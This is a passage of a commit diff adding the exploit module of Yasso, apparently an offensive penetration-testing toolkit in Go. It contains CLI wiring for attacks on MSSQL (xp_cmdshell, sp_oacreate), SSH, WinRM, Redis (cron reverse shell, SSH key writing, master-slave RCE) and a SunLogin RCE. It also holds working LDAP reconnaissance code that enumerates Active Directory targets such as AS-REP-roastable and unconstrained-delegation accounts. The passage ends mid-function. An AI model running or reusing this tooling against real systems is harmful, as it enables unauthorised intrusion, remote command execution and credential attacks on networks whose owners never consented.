mirror of
https://github.com/sairson/Yasso.git
synced 2026-02-07 20:44:21 +08:00
Yasso更新大改动,更新扫描方式,去除不常用功能,增加指纹和协议识别,修补bug等
This commit is contained in:
9
pkg/exploit/config/config.go
Normal file
9
pkg/exploit/config/config.go
Normal file
@@ -0,0 +1,9 @@
|
||||
package config
|
||||
|
||||
// Exploits exp结构体
|
||||
type Exploits struct {
|
||||
Hostname string // 地址
|
||||
Port int // 端口
|
||||
User string // 连接用的用户名
|
||||
Pass string // 连接用的密码
|
||||
}
|
||||
56
pkg/exploit/config/tools.go
Normal file
56
pkg/exploit/config/tools.go
Normal file
@@ -0,0 +1,56 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
)
|
||||
|
||||
type Results struct {
|
||||
Columns []string
|
||||
Rows [][]string
|
||||
}
|
||||
|
||||
func SQLExecute(db *sql.DB, q string) (*Results, error) {
|
||||
if q == "" {
|
||||
return nil, nil
|
||||
}
|
||||
rows, err := db.Query(q)
|
||||
//rows, err := db.Query(q)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
columns, err := rows.Columns()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var results [][]string
|
||||
for rows.Next() {
|
||||
rs := make([]sql.NullString, len(columns))
|
||||
rsp := make([]interface{}, len(columns))
|
||||
for i := range rs {
|
||||
rsp[i] = &rs[i]
|
||||
}
|
||||
if err = rows.Scan(rsp...); err != nil {
|
||||
break
|
||||
}
|
||||
|
||||
_rs := make([]string, len(columns))
|
||||
for i := range rs {
|
||||
_rs[i] = rs[i].String
|
||||
}
|
||||
results = append(results, _rs)
|
||||
}
|
||||
if closeErr := rows.Close(); closeErr != nil {
|
||||
return nil, closeErr
|
||||
}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := rows.Err(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &Results{
|
||||
Columns: columns,
|
||||
Rows: results,
|
||||
}, nil
|
||||
}
|
||||
213
pkg/exploit/exploit.go
Normal file
213
pkg/exploit/exploit.go
Normal file
@@ -0,0 +1,213 @@
|
||||
package exploit
|
||||
|
||||
import (
|
||||
"Yasso/core/logger"
|
||||
"Yasso/pkg/exploit/config"
|
||||
"Yasso/pkg/exploit/ldap"
|
||||
"Yasso/pkg/exploit/mssql"
|
||||
"Yasso/pkg/exploit/redis"
|
||||
"Yasso/pkg/exploit/ssh"
|
||||
"Yasso/pkg/exploit/sunlogin"
|
||||
"Yasso/pkg/exploit/winrm"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
type ExpFlags struct {
|
||||
Hostname string
|
||||
Port int
|
||||
User string
|
||||
Pass string
|
||||
KeyFile string
|
||||
Rebound string
|
||||
Command string
|
||||
Method int // 每一个Exp的子方法
|
||||
Listen string // 本地监听地址
|
||||
SoPath string // so文件路径
|
||||
Filter string // ldap的过滤器
|
||||
LdapCmd bool // ldap的查询命令显示
|
||||
LdapAll bool // 是否自动查询ldap
|
||||
LdapName string // Ldap的name属性
|
||||
}
|
||||
|
||||
var mssqlFlag ExpFlags
|
||||
var MssqlCmd = &cobra.Command{
|
||||
Use: "mssql",
|
||||
Short: "Quick attacks on MSSQL services",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if mssqlFlag.Hostname == "" {
|
||||
_ = cmd.Help()
|
||||
return
|
||||
}
|
||||
switch mssqlFlag.Method {
|
||||
case 1:
|
||||
mssql.ExploitMssql(config.Exploits{
|
||||
Hostname: mssqlFlag.Hostname,
|
||||
Port: mssqlFlag.Port,
|
||||
User: mssqlFlag.User,
|
||||
Pass: mssqlFlag.Pass,
|
||||
}, 1, mssqlFlag.Command)
|
||||
case 2:
|
||||
mssql.ExploitMssql(config.Exploits{
|
||||
Hostname: mssqlFlag.Hostname,
|
||||
Port: mssqlFlag.Port,
|
||||
User: mssqlFlag.User,
|
||||
Pass: mssqlFlag.Pass,
|
||||
}, 2, mssqlFlag.Command)
|
||||
case 3:
|
||||
mssql.ExploitMssql(config.Exploits{
|
||||
Hostname: mssqlFlag.Hostname,
|
||||
Port: mssqlFlag.Port,
|
||||
User: mssqlFlag.User,
|
||||
Pass: mssqlFlag.Pass,
|
||||
}, 3, mssqlFlag.Command)
|
||||
case 4:
|
||||
mssql.ExploitMssql(config.Exploits{
|
||||
Hostname: mssqlFlag.Hostname,
|
||||
Port: mssqlFlag.Port,
|
||||
User: mssqlFlag.User,
|
||||
Pass: mssqlFlag.Pass,
|
||||
}, 4, mssqlFlag.Command)
|
||||
default:
|
||||
logger.Fatal("not found exploit method")
|
||||
return
|
||||
}
|
||||
},
|
||||
}
|
||||
|
||||
var sshFlag ExpFlags
|
||||
var SshCmd = &cobra.Command{
|
||||
Use: "ssh",
|
||||
Short: "Quick attacks on SSH services",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if sshFlag.Hostname == "" {
|
||||
_ = cmd.Help()
|
||||
return
|
||||
}
|
||||
ssh.ExploitSSH(config.Exploits{
|
||||
Hostname: sshFlag.Hostname,
|
||||
Port: sshFlag.Port,
|
||||
User: sshFlag.User,
|
||||
Pass: sshFlag.Pass,
|
||||
}, sshFlag.KeyFile)
|
||||
},
|
||||
}
|
||||
|
||||
var winrmFlag ExpFlags
|
||||
var WinRmCmd = &cobra.Command{
|
||||
Use: "winrm",
|
||||
Short: "Quick attacks on WinRM services",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if winrmFlag.Hostname == "" {
|
||||
_ = cmd.Help()
|
||||
return
|
||||
}
|
||||
winrm.ExploitWinRM(config.Exploits{
|
||||
Hostname: winrmFlag.Hostname,
|
||||
Port: winrmFlag.Port,
|
||||
User: winrmFlag.User,
|
||||
Pass: winrmFlag.Pass,
|
||||
}, winrmFlag.Command, winrmFlag.Method)
|
||||
},
|
||||
}
|
||||
|
||||
var redisFlag ExpFlags
|
||||
var RedisCmd = &cobra.Command{
|
||||
Use: "redis",
|
||||
Short: "Quick attacks on Redis services",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if redisFlag.Hostname == "" {
|
||||
_ = cmd.Help()
|
||||
return
|
||||
}
|
||||
redis.ExploitRedis(config.Exploits{
|
||||
Hostname: redisFlag.Hostname,
|
||||
Port: redisFlag.Port,
|
||||
User: "",
|
||||
Pass: redisFlag.Pass,
|
||||
}, redisFlag.Method, redisFlag.Rebound, redisFlag.KeyFile, redisFlag.Listen, "")
|
||||
},
|
||||
}
|
||||
|
||||
var sunLoginFlag ExpFlags
|
||||
var SunLoginCmd = &cobra.Command{
|
||||
Use: "sunlogin",
|
||||
Short: "Quick attacks on SunLogin services (RCE)",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if sunLoginFlag.Hostname == "" {
|
||||
_ = cmd.Help()
|
||||
return
|
||||
}
|
||||
if sunLoginFlag.Port == 0 {
|
||||
logger.Fatal("input sunlogin port")
|
||||
return
|
||||
} else {
|
||||
sunlogin.ExploitSunLogin(config.Exploits{
|
||||
Hostname: sunLoginFlag.Hostname,
|
||||
Port: sunLoginFlag.Port,
|
||||
User: "",
|
||||
Pass: "",
|
||||
}, sunLoginFlag.Command)
|
||||
}
|
||||
},
|
||||
}
|
||||
|
||||
var LdapReaperFlag ExpFlags
|
||||
|
||||
var LdapReaperCmd = &cobra.Command{
|
||||
Use: "ldap",
|
||||
Short: "ldap single query with filter and fast automatic query",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if LdapReaperFlag.Hostname == "" || LdapReaperFlag.User == "" {
|
||||
_ = cmd.Help()
|
||||
return
|
||||
}
|
||||
if LdapReaperFlag.LdapCmd == true {
|
||||
ldap.ListLdapCommand()
|
||||
return
|
||||
} else {
|
||||
if LdapReaperFlag.Command != "" {
|
||||
LdapReaperFlag.LdapAll = false
|
||||
}
|
||||
ldap.LdapAuthAndQuery(LdapReaperFlag.Hostname, LdapReaperFlag.User, LdapReaperFlag.Pass, LdapReaperFlag.Command, LdapReaperFlag.Filter, LdapReaperFlag.LdapName, LdapReaperFlag.LdapAll)
|
||||
}
|
||||
},
|
||||
}
|
||||
|
||||
func init() {
|
||||
MssqlCmd.Flags().StringVar(&mssqlFlag.Hostname, "host", "", "设置mssql连接主机地址")
|
||||
MssqlCmd.Flags().StringVar(&mssqlFlag.Command, "cmd", "", "执行的system命令")
|
||||
MssqlCmd.Flags().IntVar(&mssqlFlag.Port, "port", 1433, "设置mssql连接主机端口")
|
||||
MssqlCmd.Flags().StringVar(&mssqlFlag.User, "user", "sa", "设置连接的用户名")
|
||||
MssqlCmd.Flags().StringVar(&mssqlFlag.Pass, "pass", "", "设置连接的密码")
|
||||
MssqlCmd.Flags().IntVar(&mssqlFlag.Method, "method", 1, "设置exploit方法(.eg)\n[1][xp_cmdshell]\n[2][sp_oacreate]\n[3][install SharpSQLKit]\n[4][uninstall SharpSQLKit]")
|
||||
SshCmd.Flags().StringVar(&sshFlag.Hostname, "host", "", "设置ssh连接主机地址")
|
||||
SshCmd.Flags().StringVar(&sshFlag.KeyFile, "key", "", "设置ssh的连接密钥")
|
||||
SshCmd.Flags().StringVar(&sshFlag.User, "user", "root", "设置连接的用户名")
|
||||
SshCmd.Flags().StringVar(&sshFlag.Pass, "pass", "", "设置连接的密码")
|
||||
SshCmd.Flags().IntVar(&sshFlag.Port, "port", 22, "设置ssh的连接端口")
|
||||
RedisCmd.Flags().StringVar(&redisFlag.Hostname, "host", "", "设置redis主机的连接地址")
|
||||
RedisCmd.Flags().StringVar(&redisFlag.Rebound, "rebound", "", "设置redis定时计划反弹shell地址")
|
||||
RedisCmd.Flags().StringVar(&redisFlag.KeyFile, "key", "", "设置redis写入公钥的本地文件路径")
|
||||
RedisCmd.Flags().StringVar(&redisFlag.Listen, "listen", "127.0.0.1:8888", "设置redis主从服务本地监听")
|
||||
RedisCmd.Flags().StringVar(&redisFlag.Pass, "pass", "", "设置redis的连接密码")
|
||||
RedisCmd.Flags().StringVar(&redisFlag.SoPath, "so", "", "设置其他so文件路径")
|
||||
RedisCmd.Flags().IntVar(&redisFlag.Port, "port", 6379, "设置redis的连接端口")
|
||||
RedisCmd.Flags().IntVar(&redisFlag.Method, "method", 1, "设置exploit方法(.eg)\n[1][redis定时计划反弹shell]\n[2][redis公钥写入]\n[3][redis主从复制RCE(需要对方主机可以访问服务启动主机)]")
|
||||
WinRmCmd.Flags().StringVar(&winrmFlag.Hostname, "host", "", "设置winrm连接主机")
|
||||
WinRmCmd.Flags().StringVar(&winrmFlag.User, "user", "administrator", "设置winrm连接用户")
|
||||
WinRmCmd.Flags().StringVar(&winrmFlag.Pass, "pass", "", "设置winrm连接密码")
|
||||
WinRmCmd.Flags().StringVar(&winrmFlag.Command, "cmd", "whoami", "设置winrm执行的命令")
|
||||
WinRmCmd.Flags().IntVar(&winrmFlag.Port, "port", 5985, "设置winrm连接端口")
|
||||
WinRmCmd.Flags().IntVar(&winrmFlag.Method, "method", 1, "设置exploit方法(.eg)\n[1][winrm单命令执行,需配合cmd参数]\n[2][winrm正向shell方式执行]")
|
||||
SunLoginCmd.Flags().StringVar(&sunLoginFlag.Hostname, "host", "", "设置向日葵主机地址")
|
||||
SunLoginCmd.Flags().IntVar(&sunLoginFlag.Port, "port", 0, "设置向日葵端口")
|
||||
SunLoginCmd.Flags().StringVar(&sunLoginFlag.Command, "cmd", "whoami", "设置system命令")
|
||||
LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.Hostname, "dc", "", "设置dc的主机名(FQDN)")
|
||||
LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.User, "user", "", "设置域用户名称(.eg)[KLION\\Oadmin]")
|
||||
LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.Pass, "pass", "", "设置域用户密码")
|
||||
LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.Filter, "filter", "full-data", "设置过滤器,一般为full-data")
|
||||
LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.Command, "cmd", "", "设置查询命令,可通过ldap-cmd查看")
|
||||
LdapReaperCmd.Flags().BoolVar(&LdapReaperFlag.LdapCmd, "ldap-cmd", false, "列出ldap可用的查询命令")
|
||||
LdapReaperCmd.Flags().BoolVar(&LdapReaperFlag.LdapAll, "ldap-all", true, "是否采用自动ldap查询(将查询默认ldap信息)")
|
||||
LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.LdapName, "name", "", "域(成员,组,计算机)名称")
|
||||
}
|
||||
8
pkg/exploit/ldap/core/filter/filter.go
Normal file
8
pkg/exploit/ldap/core/filter/filter.go
Normal file
@@ -0,0 +1,8 @@
|
||||
package filter
|
||||
|
||||
import "strings"
|
||||
|
||||
// LdapFilter ldap过滤器
|
||||
func LdapFilter(needle string, filterDN string) string {
|
||||
return strings.Replace(filterDN, "{username}", needle, -1)
|
||||
}
|
||||
69
pkg/exploit/ldap/core/query/flags.go
Normal file
69
pkg/exploit/ldap/core/query/flags.go
Normal file
@@ -0,0 +1,69 @@
|
||||
package query
|
||||
|
||||
var PwdFlags = map[int]string{
|
||||
0x01: "PASSWORD_COMPLEX",
|
||||
0x02: "PASSWORD_NO_ANON_CHANGE",
|
||||
0x04: "PASSWORD_NO_CLEAR_CHANGE",
|
||||
0x08: "LOCKOUT_ADMINS",
|
||||
0x10: "PASSWORD_STORE_CLEARTEXT",
|
||||
0x20: "REFUSE_PASSWORD_CHANGE",
|
||||
}
|
||||
|
||||
var UacFlags = map[int]string{
|
||||
0x00000002: "ACCOUNT_DISABLED",
|
||||
0x00000010: "ACCOUNT_LOCKED",
|
||||
0x00000020: "PASSWD_NOTREQD",
|
||||
0x00000040: "PASSWD_CANT_CHANGE",
|
||||
0x00000080: "PASSWORD_STORE_CLEARTEXT",
|
||||
0x00000200: "NORMAL_ACCOUNT",
|
||||
0x00001000: "WORKSTATION_ACCOUNT",
|
||||
0x00002000: "SERVER_TRUST_ACCOUNT",
|
||||
0x00010000: "DONT_EXPIRE_PASSWD",
|
||||
0x00040000: "SMARTCARD_REQUIRED",
|
||||
0x00080000: "TRUSTED_FOR_DELEGATION",
|
||||
0x00100000: "NOT_DELEGATED",
|
||||
0x00200000: "USE_DES_KEY_ONLY",
|
||||
0x00400000: "DONT_REQ_PREAUTH",
|
||||
0x00800000: "PASSWORD_EXPIRED",
|
||||
0x01000000: "TRUSTED_TO_AUTH_FOR_DELEGATION",
|
||||
0x04000000: "PARTIAL_SECRETS_ACCOUNT",
|
||||
}
|
||||
|
||||
var SamType = map[int64]string{
|
||||
0x0: "SAM_DOMAIN_OBJECT",
|
||||
0x10000000: "SAM_GROUP_OBJECT",
|
||||
0x10000001: "SAM_NON_SECURITY_GROUP_OBJECT",
|
||||
0x20000000: "SAM_ALIAS_OBJECT",
|
||||
0x20000001: "SAM_NON_SECURITY_ALIAS_OBJECT",
|
||||
0x30000000: "SAM_USER_OBJECT",
|
||||
0x30000001: "SAM_MACHINE_ACCOUNT",
|
||||
0x30000002: "SAM_TRUST_ACCOUNT",
|
||||
0x40000000: "SAM_APP_BASIC_GROUP",
|
||||
0x40000001: "SAM_APP_QUERY_GROUP",
|
||||
0x7fffffff: "SAM_ACCOUNT_TYPE_MAX",
|
||||
}
|
||||
|
||||
var Trust = map[int]string{
|
||||
0x00000001: "NON_TRANSITIVE",
|
||||
0x00000002: "UPLEVEL_ONLY",
|
||||
0x00000004: "QUARANTINED_DOMAIN",
|
||||
0x00000008: "FOREST_TRANSITIVE",
|
||||
0x00000010: "CROSS_ORGANIZATION",
|
||||
0x00000020: "WITHIN_FOREST",
|
||||
0x00000040: "TREAT_AS_EXTERNAL",
|
||||
0x00000080: "USES_RC4_ENCRYPTION",
|
||||
0x00000200: "CROSS_ORGANIZATION_NO_TGT_DELEGATION",
|
||||
0x00000400: "PIM_TRUST",
|
||||
0x00000800: "CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION",
|
||||
}
|
||||
var TrustDirections = map[int]string{
|
||||
0x01: "INBOUND",
|
||||
0x02: "OUTBOUND",
|
||||
0x03: "BIDIRECTIONAL",
|
||||
}
|
||||
|
||||
var TrustType = map[int]string{
|
||||
0x01: "DOWNLEVEL",
|
||||
0x02: "UPLEVEL",
|
||||
0x03: "MIT",
|
||||
}
|
||||
60
pkg/exploit/ldap/core/query/object.go
Normal file
60
pkg/exploit/ldap/core/query/object.go
Normal file
@@ -0,0 +1,60 @@
|
||||
package query
|
||||
|
||||
// LdapQueries ldap的查询字符串
|
||||
var LdapQueries = map[string]string{
|
||||
"users": "(objectClass=user)",
|
||||
"groups": "(objectClass=group)",
|
||||
"computers": "(objectClass=Computer)",
|
||||
"dc": "(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))",
|
||||
"gpo": "(objectClass=groupPolicyContainer)",
|
||||
"spn": "(&(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512))(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))",
|
||||
"unconstrained-users": "(&(&(objectCategory=person)(objectClass=user))(userAccountControl:1.2.840.113556.1.4.803:=524288))",
|
||||
"unconstrained-computers": "(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))",
|
||||
"ms-sql": "(&(objectCategory=computer)(servicePrincipalName=MSSQLSvc*))",
|
||||
"never-loggedon": "(&(objectCategory=person)(objectClass=user)(|(lastLogonTimestamp=0)(!(lastLogonTimestamp=*))))",
|
||||
"admin-priv": "(adminCount=1)",
|
||||
"domain-trust": "(objectClass=trustedDomain)",
|
||||
"ou": "(&(objectCategory=organizationalUnit)(ou=*))",
|
||||
"group-members": "(&(objectCategory=user)(memberOf={DN}))",
|
||||
"specific-users": "(&(objectCategory=user)(sAMAccountName={SAM}))",
|
||||
"specific-computers": "(&(objectClass=Computer)(cn={SAM}))",
|
||||
"specific-groups": "(&(objectCategory=group)(sAMAccountName={SAM}))",
|
||||
"specific-spn": "(&(&(servicePrincipalName=*)(cn={SAM})(UserAccountControl:1.2.840.113556.1.4.803:=512))(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))",
|
||||
"specific-ms-sql": "(&(objectCategory=computer)(cn={SAM})(servicePrincipalName=MSSQLSvc*))",
|
||||
"asreproast": "(&(objectClass=user)(objectCategory=user)(useraccountcontrol:1.2.840.113556.1.4.803:=4194304))",
|
||||
"unconstrained": "(|(&(objectClass=Computer)(useraccountcontrol:1.2.840.113556.1.4.803:=524288))(&(objectClass=user)(useraccountcontrol:1.2.840.113556.1.4.803:=524288)))",
|
||||
}
|
||||
|
||||
var ldapCommands = map[string]string{
|
||||
"users": "Users",
|
||||
"user-logs": "User Properties",
|
||||
"groups": "Groups",
|
||||
"computers": "Computers",
|
||||
"dc": "Domain Controllers",
|
||||
"gpo": "Group Policy Objects",
|
||||
"spn": "Service Principal Names",
|
||||
"never-loggedon": "Users Never LoggedOn",
|
||||
"ms-sql": "MS-SQL Servers",
|
||||
"admin-priv": "Admin Priv",
|
||||
"domain-trust": "Trusted Domain",
|
||||
"ou": "Organizational Units",
|
||||
"asreproast": "AS-REP Roastable Accounts",
|
||||
"unconstrained": "Unconstrained Delegation",
|
||||
}
|
||||
|
||||
var LdapCommandAndFilter = map[string]string{
|
||||
"users": "full-data",
|
||||
"user-logs": "",
|
||||
"groups": "full-data",
|
||||
"computers": "full-data",
|
||||
"dc": "",
|
||||
"gpo": "",
|
||||
"spn": "",
|
||||
"never-loggedon": "",
|
||||
"ms-sql": "full-data",
|
||||
"admin-priv": "",
|
||||
"domain-trust": "",
|
||||
"ou": "",
|
||||
"asreproast": "",
|
||||
"unconstrained": "",
|
||||
}
|
||||
197
pkg/exploit/ldap/core/query/query.go
Normal file
197
pkg/exploit/ldap/core/query/query.go
Normal file
@@ -0,0 +1,197 @@
|
||||
package query
|
||||
|
||||
import (
|
||||
"Yasso/core/logger"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"gopkg.in/ldap.v2"
|
||||
"os"
|
||||
)
|
||||
|
||||
type Server struct {
|
||||
LdapServer string // dc地址
|
||||
LdapUser string // 用户名(域用户即可)
|
||||
LdapPassword string // 密码
|
||||
}
|
||||
|
||||
// ldap的连接函数
|
||||
func (s *Server) ldapConn() (*ldap.Conn, bool, error) {
|
||||
conn, err := ldap.Dial("tcp", s.LdapServer)
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
if err := conn.Bind(s.LdapUser, s.LdapPassword); err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
return conn, true, nil
|
||||
}
|
||||
|
||||
func LdapListQuery(dc, user, pass, baseDN, command, filter, name string, all bool) {
|
||||
server := Server{
|
||||
LdapServer: dc,
|
||||
LdapPassword: pass,
|
||||
LdapUser: user,
|
||||
}
|
||||
conn, flag, err := server.ldapConn()
|
||||
defer conn.Close()
|
||||
if flag == false || err != nil {
|
||||
logger.Fatal("ldap server connect failed")
|
||||
return
|
||||
}
|
||||
if all == true {
|
||||
// 查询全部ldap并采用full-data过滤器
|
||||
for i, f := range LdapCommandAndFilter {
|
||||
err := LdapQuery(conn, baseDN, i, f, name)
|
||||
if err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
return
|
||||
}
|
||||
}
|
||||
} else {
|
||||
err := LdapQuery(conn, baseDN, command, filter, name)
|
||||
if err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// LdapQuery 传入baseDN,
|
||||
func LdapQuery(conn *ldap.Conn, baseDN string, command string, filter string, name string) error {
|
||||
t := table.NewWriter()
|
||||
t.SetOutputMirror(os.Stdout)
|
||||
t.AppendHeader(table.Row{ldapCommands[command]})
|
||||
t.SetColumnConfigs([]table.ColumnConfig{
|
||||
{
|
||||
Name: ldapCommands[command],
|
||||
WidthMin: 20,
|
||||
WidthMax: 100,
|
||||
},
|
||||
})
|
||||
if command == "users" && filter == "list" && name == "" {
|
||||
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "users" && filter == "full-data" && name == "" {
|
||||
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "users" && name != "" && filter != "membership" {
|
||||
if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "users" && name != "" && filter == "membership" {
|
||||
if err := LdapUserMemberShipResolver(t, conn, baseDN, name, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "computers" && filter == "list" && name == "" {
|
||||
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "computers" && filter == "full-data" && name == "" {
|
||||
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "computers" && name != "" {
|
||||
if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "groups" && filter == "list" && name == "" {
|
||||
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "groups" && filter == "full-data" && name == "" {
|
||||
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "groups" && name != "" && filter != "membership" {
|
||||
if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "groups" && filter == "membership" && name != "" {
|
||||
if err := LdapGroupResolver(t, conn, baseDN, name); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "dc" {
|
||||
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "domain-trust" {
|
||||
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "spn" && filter == "list" && name == "" {
|
||||
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "spn" && filter == "full-data" && name == "" {
|
||||
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "spn" && name != "" {
|
||||
if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "never-loggedon" && filter == "list" && name == "" {
|
||||
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "gpo" && name == "" {
|
||||
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "ou" && name == "" {
|
||||
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "ms-sql" && filter == "list" && name == "" {
|
||||
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "ms-sql" && filter == "full-data" && name == "" {
|
||||
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "ms-sql" && name != "" {
|
||||
if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "asreproast" {
|
||||
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "unconstrained" {
|
||||
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "admin-priv" {
|
||||
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
t.Render()
|
||||
return nil
|
||||
}
|
||||
433
pkg/exploit/ldap/core/query/resolver.go
Normal file
433
pkg/exploit/ldap/core/query/resolver.go
Normal file
@@ -0,0 +1,433 @@
|
||||
package query
|
||||
|
||||
import (
|
||||
"Yasso/pkg/exploit/ldap/core/filter"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"github.com/audibleblink/bamflags"
|
||||
"github.com/bwmarrin/go-objectsid"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"gopkg.in/ldap.v2"
|
||||
"math"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// LdapListResolver ldap查询解析器
|
||||
func LdapListResolver(t table.Writer, conn *ldap.Conn, baseDN string, command string) error {
|
||||
res, err := conn.SearchWithPaging(ldap.NewSearchRequest(
|
||||
baseDN,
|
||||
ldap.ScopeWholeSubtree,
|
||||
ldap.NeverDerefAliases,
|
||||
math.MaxInt32,
|
||||
0,
|
||||
false,
|
||||
filter.LdapFilter("*", LdapQueries[command]),
|
||||
[]string{},
|
||||
nil,
|
||||
), math.MaxInt32)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// 查询到数据
|
||||
if len(res.Entries) > 0 {
|
||||
for _, m := range res.Entries {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf(" - %s", m.GetAttributeValue("sAMAccountName"))},
|
||||
})
|
||||
}
|
||||
t.AppendSeparator()
|
||||
if command == "users" {
|
||||
t.AppendRows([]table.Row{
|
||||
{strconv.Itoa(len(res.Entries)) + "Domain Users Found"},
|
||||
})
|
||||
}
|
||||
if command == "computers" {
|
||||
t.AppendRows([]table.Row{
|
||||
{strconv.Itoa(len(res.Entries)) + " Domain Computers Found"},
|
||||
})
|
||||
}
|
||||
if command == "groups" {
|
||||
t.AppendRows([]table.Row{
|
||||
{strconv.Itoa(len(res.Entries)) + " Domain Groups Found"},
|
||||
})
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// LdapFullResolver ldap的完全解析器
|
||||
func LdapFullResolver(t table.Writer, conn *ldap.Conn, baseDN string, command string) error {
|
||||
res, err := conn.SearchWithPaging(ldap.NewSearchRequest(
|
||||
baseDN,
|
||||
ldap.ScopeWholeSubtree,
|
||||
ldap.NeverDerefAliases,
|
||||
math.MaxInt32,
|
||||
0,
|
||||
false,
|
||||
filter.LdapFilter("*", LdapQueries[command]),
|
||||
[]string{},
|
||||
nil,
|
||||
), math.MaxInt32)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
// 查询到数据
|
||||
if len(res.Entries) > 0 {
|
||||
for _, m := range res.Entries {
|
||||
LdapResolver(m, t)
|
||||
t.AppendSeparator()
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// LdapSpecificFullResolver ldap的特殊解析器
|
||||
func LdapSpecificFullResolver(t table.Writer, conn *ldap.Conn, baseDN string, name string, command string) error {
|
||||
res, err := conn.SearchWithPaging(ldap.NewSearchRequest(
|
||||
baseDN,
|
||||
ldap.ScopeWholeSubtree,
|
||||
ldap.NeverDerefAliases,
|
||||
math.MaxInt32,
|
||||
0,
|
||||
false,
|
||||
